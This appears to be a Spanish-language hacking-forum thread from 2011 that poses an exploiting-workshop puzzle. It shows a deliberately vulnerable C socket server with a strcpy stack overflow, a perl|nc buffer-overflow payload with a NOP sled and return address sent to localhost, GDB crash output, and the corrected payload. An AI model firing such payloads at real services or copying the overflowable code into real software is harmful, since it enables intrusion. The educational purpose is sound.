[RETO] Adivina POR QUÉ no funciona...

Iniciado por Garfield07, 18 Febrero 2011, 00:05 AM

0 Miembros y 1 Visitante están viendo este tema.

Garfield07

MODF: Como veo que no interesa mucho resolverlo (mi bandeja está a cero) pongo la respuesta...
buffer [cont-1]='\0';
Ahí se fastidia todo. El último byte se pone a cero. Como se arregla? Pues poniendo un último byte (por ejemplo, un nop) al final de la cadena...
Código (bash) [Seleccionar]
sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335

Un saludo!
____________________________________________________________________________________________________________

Aclaro que esto es algo que ya he solucionado, sólo que me ha resultado tan curioso que lo he puesto aquí xD.
Pista: Todo consiste en leer.

Bueno, estaba preparando todo para el taller de exploiting y me he encontrado con una situación un tanto curiosa...
Tengo este código vulnerable en C...

#include <sys/socket.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <signal.h>
#include <time.h>

int socketfd, newsocket;

int feo ()
{
printf ("FEO");
exit (1);
}

int vuln (char *trampa)
{
char buffer [100];
strcpy (buffer, trampa);
}

void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n");
close (newsocket);
close (socketfd);
exit (0);
}

int times ()
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}

int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);

if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);

socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));

listen (socketfd, 3);

times ();
printf ("Starting up...\n\n");

signal (SIGTERM, shutup);
signal (SIGINT, shutup);

while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);

times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));

cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
times ();
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);

vuln (buffer);
cont=recv (newsocket, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
close (newsocket);
}
close (socketfd);
return 0;
}


Y lo estaba explotando con este comando...
sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335

Ahora, abría con GDB y me mostraba esto...

(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07   Starting up...

18/02/2011 00:02:10   Got connection from 127.0.0.1:57358
18/02/2011 00:02:10   RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��

Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)


La pregunta es... ¿qué le pasa?
PD: Algunos os reiréis del código vulnerable, pero es lo que tenía a mano xD luego lo pasaremos xD
PD2: Es algo sencillo, pero me ha distraído un rato. Por favor, respuestas por PM xD.

Ganadores
Nadie xD


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

h3ct0r

Hola que tal, podrías dar una información mas detallada de que hace ese programa vulnerable y que es lo que se intentaba explotar? Saludos!
[img[/img]

Died

Usaba ese programa como ejemplo para el texto que estaba escribiendo hace un tiempo. Me encontré con ese problema y tardé una media hora en resolverlo, así que lo modifiqué un poco para colgarlo como reto.

PS: No revivas temas "viejos".
Un saludo. Sagrini